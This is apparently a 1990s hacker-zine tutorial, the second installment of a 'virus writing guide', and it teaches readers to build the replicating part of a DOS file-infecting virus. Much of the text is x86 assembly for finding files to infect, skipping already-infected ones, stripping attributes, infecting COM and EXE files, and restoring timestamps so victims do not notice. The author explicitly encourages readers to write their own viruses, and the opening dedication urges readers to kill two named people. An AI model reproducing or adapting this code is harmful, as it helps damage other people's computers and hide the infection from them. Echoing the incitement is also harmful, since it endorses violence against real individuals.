//==// // // /|| // //==== //==// //| // // // // // //|| // // // // //|| // //==// //==// //=|| // // // // // || // // // // // || // // // // // ||// // // // // || //==== //==== //==// // ||/ /==== // // // /==== /| /| // // // // // //| //| ===\ // // // ===\ //|| //|| // // \\ // // // ||// || ====/ // \\ // ====/ // ||/ || ���������������������������������������������� DISCLAIMER: Pretend you see a disclaimer here. 99.44% of the code guaranteed to work. ���������������������������������������������� DEDICATION: Please try your best to kill those who made this possible, especially that dumb bitch who doesn't know her own name (Patty), and her lover Ross M. Greenberg. ���������������������������������������������� GREETS -N- STUFF: Greets go to all the members of PHALCON/SKISM. I wish to give buckets o' thanks to Hellraiser, Garbageheap, and Demo- gorgon. No thanks this time to Orion Rouge, the godly master of idiocy. ���������������������������������������������� Dark Angel's Chunky Virus Writing Guide ���� ������� ������ ����� ������� ����� ������������������������������� INSTALLMENT II: THE REPLICATOR ������������������������������� In the last installment of my Virus Writing Guide, I explained the various parts of a virus and went into a brief discussion about each. In this issue, I shall devote all my attention towards the replicator portion of the virus. I promised code and code I shall present. However, I shall digress for a moment because it has come to my attention that some mutant copies of the first installment were inadvertently released. These copies did not contain a vital section concerning the calculation of offsets. You never know where your variables and code are going to wind up in memory. If you think a bit, this should be pretty obvious. Since you are attaching the virus to the end of a program, the location in memory is going to be changed, i.e. it will be larger by the size of the infected program. So, to compensate, we must take the change in offset from the original virus, or the delta offset, and add that to all references to variables. Instructions that use displacement, i.e. relative offsets, need not be changed. These instructions are the JA, JB, JZ class of instructions, JMP SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of, say, JMP FAR PTR. Suppose in the following examples, si is somehow loaded with the delta offset. Replace mov ax, counter With mov ax, word ptr [si+offset counter] Replace mov dx, offset message With lea dx, [si+offset message] You may be asking, "how the farg am I supposed to find the delta offset!?" It is simple enough: call setup setup: pop si sub si, offset setup An explanation of the above fragment is in order. CALL setup pushes the location of the next instruction, i.e. offset setup, onto the stack. Next, this location is POPed into si. Finally, the ORIGINAL offset of setup (calculated at compile-time) is subtracted from si, giving you the delta offset. In the original virus, the delta offset will be 0, i.e. the new location of setup equals the old location of setup. It is often preferable to use bp as your delta offset, since si is used in string instructions. Use whichever you like. I'll randomly switch between the two as suits my mood. Now back to the other stuff... A biological virus is a parasitic "organism" which uses its host to spread itself. It must keep the host alive to keep itself "alive." Only when it has spread everywhere will the host die a painful, horrible death. The modern electronic virus is no different. It attaches itself to a host system and reproduces until the entire system is fucked. It then proceeds and neatly wrecks the system of the dimwit who caught the virus. Replication is what distinguishes a virus from a simple trojan. Anybody can write a trojan, but a virus is much more elegant. It acts almost invisibly, and catches the victim off-guard when it finally surfaces. The first question is, of course, how does a virus spread? Both COM and EXE infections (along with sample infection routines) shall be presented. There are two major approaches to virii: runtime and TSR. Runtime virii infect, yup, you guessed it, when the infected program is run, while TSR virii go resident when the infected programs are run and hook the interrupts and infect when a file is run, open, closed, and/or upon termination (i.e. INT 20h, INT 21h/41h). There are advantages and disadvantages to each. Runtime virii are harder to detect as they don't show up on memory maps, but, on the other hand, the delay while it searches for and infects a file may give it away. TSR virii, if not properly done, can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in general, smaller since they don't need a function to search for files to infect. They are also faster than runtime virii, also because they don't have to search for files to infect. I shall cover runtime virii here, and TSR virii in a later installment. Here is a summary of the infection procedure: 1) Find a file to infect. 2) Check if it meets the infection criteria. 3) See if it is already infected and if so, go back to 1. 4) Otherwise, infect the file. 5) Cover your tracks. I shall go through each of these steps and present sample code for each. Note that although a complete virus can be built from the information below, you cannot merely rip the code out and stick it together, as the fragments are from various different virii that I have written. You must be somewhat familiar with assembly. I present code fragments; it is up to you to either use them as examples or modify them for your own virii. ������������������������������ STEP 1 - FIND A FILE TO INFECT ������������������������������ Before you can infect a file, you have to find it first! This can be a bottleneck in the performance of the virus, so it should be done as efficiently as possible. For runtime virii, there are a few possibilities. You could infect files in only the current directory, or you could write a directory traversal function to infect files in ALL directories (only a few files per run, of course), or you could infect files in only a few select directories. Why would you choose to only infect files in the current directory? It would appear to limit the efficacy of the infections. However, this is done in some virii either to speed up the virus or to shorten the code size. Here is a directory traversal function. It uses recursion, so it is rather slow, but it does the job. This was excerpted with some modifications from The Funky Bob Ross Virus [Beta]. traverse_fcn proc near push bp ; Create stack frame mov bp,sp sub sp,44 ; Allocate space for DTA call infect_directory ; Go to search & destroy routines mov ah,1Ah ;Set DTA lea dx,word ptr [bp-44] ; to space allotted int 21h ;Do it now! mov ah, 4Eh ;Find first mov cx,16 ;Directory mask lea dx,[si+offset dir_mask] ; *.* int 21h jmp short isdirok gonow: cmp byte ptr [bp-14], '.' ; Is first char == '.'? je short donext ; If so, loop again lea dx,word ptr [bp-14] ; else load dirname mov ah,3Bh ; and changedir there int 21h jc short donext ; Do next if invalid inc word ptr [si+offset nest] ; nest++ call near ptr traverse_fcn ; recurse directory donext: lea dx,word ptr [bp-44] ; Load space allocated for DTA mov ah,1Ah ; and set DTA to this new area int 21h ; 'cause it might have changed mov ah,4Fh ;Find next int 21h isdirok: jnc gonow ; If OK, jmp elsewhere cmp word ptr [si+offset nest], 0 ; If root directory ; (nest == 0) jle short cleanup ; then Quit dec word ptr [si+offset nest] ; Else decrement nest lea dx, [si+offset back_dir]; '..' mov ah,3Bh ; Change directory int 21h ; to previous one cleanup: mov sp,bp pop bp ret traverse_fcn endp ; Variables nest dw 0 back_dir db '..',0 dir_mask db '*.*',0 The code is self-explanatory. Make sure you have a function called infect_directory which scans the directory for possible files to infect and makes sure it doesn't infect already-infected files. This function, in turn, calls infect_file which infects the file. Note, as I said before, this is slow. A quicker method, albeit not as global, is the "dot dot" method. Hellraiser showed me this neat little trick. Basically, you keep searching each directory and, if you haven't infected enough, go to the previous directory (dot dot) and try again, and so on. The code is simple. dir_loopy: call infect_directory lea dx, [bp+dotdot] mov ah, 3bh ; CHDIR int 21h jnc dir_loopy ; Carry set if in root ; Variables dotdot db '..',0 Now you must find a file to infect. This is done (in the fragments above) by a function called infect_directory. This function calls FINDFIRST and FINDNEXT a couple of times to find files to infect. You should first set up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that will affect the command-line parameters of the infected program when control is returned to it. This is easily done with the following: mov ah, 1Ah ; Set DTA lea dx, [bp+offset DTA] ; to variable called DTA (wow!) int 21h Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST and FINDNEXT calls: mov ah, 4Eh ; Find first file mov cx, 0007h ; Any file attribute lea dx, [bp+offset file_mask]; DS:[DX] --> filemask int 21h jc none_found found_another: call check_infection mov ah, 4Fh ; Find next file int 21h jnc found_another none_found: Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively, you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM. ���������������������������������������� STEP 2 - CHECK VERSUS INFECTION CRITERIA ���������������������������������������� Your virus should be judicious in its infection. For example, you might not want to infect COMMAND.COM, since some programs (i.e. the puny FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to infect the first valid file in the directory. Ambulance Car is an example of such a virus. Regardless, if there is some infection criteria, you should check for it now. Here's example code checking if the last two letters are 'ND', a simple check for COMMAND.COM: cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order jz fail_check ������������������������������������� STEP 3 - CHECK FOR PREVIOUS INFECTION ������������������������������������� Every virus has certain characteristics with which you can identify whether a file is infected already. For example, a certain piece of code may always occur in a predictable place. Or perhaps the JMP instruction is always coded in the same manner. Regardless, you should make sure your virus has a marker so that multiple infections of the same file do not occur. Here's an example of one such check (for a COM file infector): mov ah,3Fh ; Read first three mov cx, 3 ; bytes of the file lea dx, [bp+offset buffer] ; to the buffer int 21h mov ax, 4202h ; SEEK from EOF xor cx, cx ; DX:CX = offset xor dx, dx ; Returns filesize int 21h ; in DX:AX sub ax, virus_size + 3 cmp word ptr [bp+offset buffer+1], ax jnz infect_it bomb_out: mov ah, 3Eh ; else close the file int 21h ; and go find another In this example, BX is assumed to hold a file handle to the program to be checked for infection and virus_size equals the size of the virus. Buffer is assumed to be a three-byte area of empty space. This code fragment reads the first three bytes into buffer and then compares the JMP location (located in the word beginning at buffer+1) to the filesize If the JMP points to virus_size bytes before the EOF, then the file is already infected with this virus. Another method would be to search at a certain location in the file for a marker byte or word. For example: mov ah, 3Fh ; Read the first four mov cx, 4 ; bytes of the file into lea dx, [bp+offset buffer] ; the buffer. int 21h cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth jz bomb_out ; byte for the marker infect_it: ������������������������ STEP 4 - INFECT THE FILE ������������������������ This is the "guts" of the virus, the heart of the replicator. Once you have located a potential file, you must save the attributes, time, date, and size for later use. The following is a breakdown of the DTA: Offset Size What it is 0h 21 BYTES Reserved, varies as per DOS version 15h BYTE File attribute 16h WORD File time 18h WORD File date 1Ah DWORD File size 1Eh 13 BYTES ASCIIZ filename + extension As you can see, the DTA holds all the vital information about the file that you need. The following code fragment is a sample of how to save the info: lea si, [bp+offset DTA+15h] ; Start from attributes mov cx, 9 ; Finish with size lea di, [bp+offset f_attr] ; Move into your locations rep movsb ; Variables needed f_attr db ? f_time dw ? f_date dw ? f_size dd ? You can now change the file attributes to nothing through INT 21h/Function 43h/Subfunction 01h. This is to allow infection of system, hidden, and read only files. Only primitive (or minimal) virii cannot handle such files. lea dx, [bp+offset DTA+1eh] ; DX points to filename in mov ax, 4301h ; DTA xor cx, cx ; Clear file attributes int 21h ; Issue the call Once the attributes have been annihilated, you may open the file with callous impunity. Use a handle open in read/write mode. lea dx, [bp+offset DTA+1eh] ; Use filename in DTA mov ax, 3d02h ; Open read/write mode int 21h ; duh. xchg ax, bx ; Handle is more useful in ; BX Now we come to the part you've all been waiting for: the infection routine. I am pleased to present code which will handle the infection of COM files. Yawn, you say, I can already do that with the information presented in the previous installment. Ah, but there is more, much more. A sample EXE infector shall also be presented shortly. The theory behind COM file infection was covered in the last installment, so I shall not delve into the details again. Here is a sample infector: ; Sample COM infector. Assumes BX holds the file handle ; Assume COM file passes infection criteria and not already infected mov ah, 3fh lea dx, [bp+buffer1] mov cx, 3 int 21h mov ax, 4200h ; Move file pointer to xor cx, cx ; the beginning of the xor dx, dx ; file int 21h mov byte ptr [bp+buffer2], 0e9h ; JMP mov ax, word ptr [bp+f_size] sub ax, part1_size ; Usually 3 mov word ptr [bp+buffer2+1], ax ; offset of JMP ; Encode JMP instruction to replace beginning of the file mov byte ptr [bp+buffer2], 0e9h ; JMP mov ax, word ptr [bp+f_size] sub ax, part1_size ; Usually 3 mov word ptr [bp+buffer2+1], ax ; offset of JMP ; Write the JMP instruction to the beginning of the file mov ah, 40h ; Write CX bytes to mov cx, 3 ; handle in BX from lea dx, [bp+buffer2] ; buffer -> DS:[DX] int 21h mov ax, 4202h ; Move file pointer to xor cx, cx ; end of file xor dx, dx int 21h mov ah, 40h ; Write CX bytes mov cx, endofvirus - startofpart2 ; Effective size of virus lea dx, [bp+startofpart2] ; Begin write at start int 21h ; Variables buffer1 db 3 dup (?) ; Saved bytes from the ; infected file to restore ; later buffer2 db 3 dup (?) ; Temp buffer After some examination, this code will prove to be easy to understand. It starts by reading the first three bytes into a buffer. Note that you could have done this in an earlier step, such as when you are checking for a previous infection. If you have already done this, you obviously don't need to do it again. This buffer must be stored in the virus so it can be restored later when the code is executed. EXE infections are also simple, although a bit harder to understand. First, the thoery. Here is the format of the EXE header: Ofs Name Size Comments 00 Signature 2 bytes always 4Dh 5Ah (MZ) *02 Last Page Size 1 word number of bytes in last page *04 File Pages 1 word number of 512 byte pages 06 Reloc Items 1 word number of entries in table 08 Header Paras 1 word size of header in 16 byte paras 0A MinAlloc 1 word minimum memory required in paras 0C MaxAlloc 1 word maximum memory wanted in paras *0E PreReloc SS 1 word offset in paras to stack segment *10 Initial SP 1 word starting SP value 12 Negative checksum 1 word currently ignored *14 Pre Reloc IP 1 word execution start address *16 Pre Reloc CS 1 word preadjusted start segment 18 Reloc table offset 1 word is offset from start of file) 1A Overlay number 1 word ignored if not overlay 1C Reserved/unused 2 words * denotes bytes which should be changed by the virus To understand this, you must first realise that EXE files are structured into segments. These segments may begin and end anywhere. All you have to do to infect an EXE file is tack on your code to the end. It will then be in its own segment. Now all you have to do is make the virus code execute before the program code. Unlike COM infections, no program code is overwritten, although the header is modified. Note the virus can still have the V1/V2 structure, but only V2 needs to be concatenated to the end of the infected EXE file. Offset 4 (File Pages) holds the size of the file divided by 512, rounded up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the paragraph displacement (relative to the end of the header) of the initial stack segment and Offset 10h holds the displacement (relative to the start of the stack segment) of the initial stack pointer. Offset 16h holds the paragraph displacement of the entry point relative to the end of the header and offset 14h holds the displacement entry point relative to the start of the entry segment. Offset 14h and 16h are the key to adding the startup code (the virus) to the file. Before you infect the file, you should save the CS:IP and SS:SP found in the EXE header, as you need to restore them upon execution. Note that SS:SP is NOT stored in Intel reverse-double-word format. If you don't know what I'm talking about, don't worry; it's only for very picky people. You should also save the file length as you will need to use that value several times during the infection routine. Now it's time to calculate some offsets! To find the new CS:IP and SS:SP, use the following code. It assumes the file size is loaded in DX:AX. mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs ; ^---make sure you don't destroy the file handle mov cl, 4 ; Multiply by 16. Won't shl bx, cl ; work with headers > 4096 ; bytes. Oh well! sub ax, bx ; Subtract header size from sbb dx, 0 ; file size ; Now DX:AX is loaded with file size minus header size mov cx, 10h ; DX:AX/CX = AX Remainder DX div cx This code is rather inefficient. It would probably be easier to divide by 16 first and then perform a straight subtraction from AX, but this happens to be the code I chose. Such is life. However, this code does have some advantages over the more efficient one. With this, you are certain that the IP (in DX) will be under 15. This allows the stack to be in the same segment as the entry point, as long as the stack pointer is a large number. Now AX*16+DX points to the end of code. If the virus begins immediately after the end of the code, AX and DX can be used as the initial CS and IP, respectively. However, if the virus has some junk (code or data) before the entry point, add the entry point displacement to DX (no ADC with AX is necessary since DX will always be small). mov word ptr [bp+ExeHead+14h], dx ; IP Offset mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module The SP and SS can now be calculated. The SS is equal to the CS. The actual value of the SP is irrelevant, as long as it is large enough so the stack will not overwrite code (remember: the stack grows downwards). As a general rule, make sure the SP is at least 100 bytes larger than the virus size. This should be sufficient to avoid problems. mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP All that is left to fiddle in the header is the file size. Restore the original file size from wherever you saved it to DX:AX. To calculate DX:AX/512 and DX:AX MOD 512, use the following code: mov cl, 9 ; Use shifts again for ror dx, cl ; division push ax ; Need to use AX again shr ax, cl adc dx, ax ; pages in dx pop ax and ah, 1 ; mod 512 in ax mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in mov word ptr [bp+ExeHead+2], ax ; the EXE header. All that is left is writing back the EXE header and concatenating the virus to the end of the file. You want code? You get code. mov ah, 3fh ; BX holds handle mov cx, 18h ; Don't need entire header lea dx, [bp+ExeHead] int 21h call infectexe mov ax, 4200h ; Rewind to beginning of xor cx, cx ; file xor dx, dx int 21h mov ah, 40h ; Write header back mov cx, 18h lea dx, [bp+ExeHead] int 21h mov ax, 4202h ; Go to end of file xor cx, cx xor dx, dx int 21h mov ah, 40h ; Note: Only need to write mov cx, part2size ; part 2 of the virus lea dx, [bp+offset part2start] ; (Parts of virus int 21h ; defined in first ; installment of ; the guide) Note that this code alone is not sufficient to write a COM or EXE infector. Code is also needed to transfer control back to the parent program. The information needed to do this shall be presented in the next installment. In the meantime, you can try to figure it out on your own; just remember that you must restore all that you changed. �������������������������� STEP 5 - COVER YOUR TRACKS �������������������������� This step, though simple to do, is too easily neglected. It is extremely important, as a wary user will be alerted to the presence of a virus by any unnecessary updates to a file. In its simplest form, it involves the restoration of file attributes, time and date. This is done with the following: mov ax, 5701h ; Set file time/date mov dx, word ptr [bp+f_date] ; DX = date mov cx, word ptr [bp+f_time] ; CX = time int 21h mov ah, 3eh ; Handle close file int 21h mov ax, 4301h ; Set attributes lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA xor ch, ch mov cl, byte ptr [bp+f_attrib] ; Attribute in CX int 21h Remember also to restore the directory back to the original one if it changed during the run of the virus. �������������� WHAT'S TO COME �������������� I have been pleased with the tremendous response to the last installment of the guide. Next time, I shall cover the rest of the virus as well as various tips and common tricks helpful in writing virii. Until then, make sure you look for 40Hex, the official PHALCON/SKISM magazine, where we share tips and information pertinent to the virus community.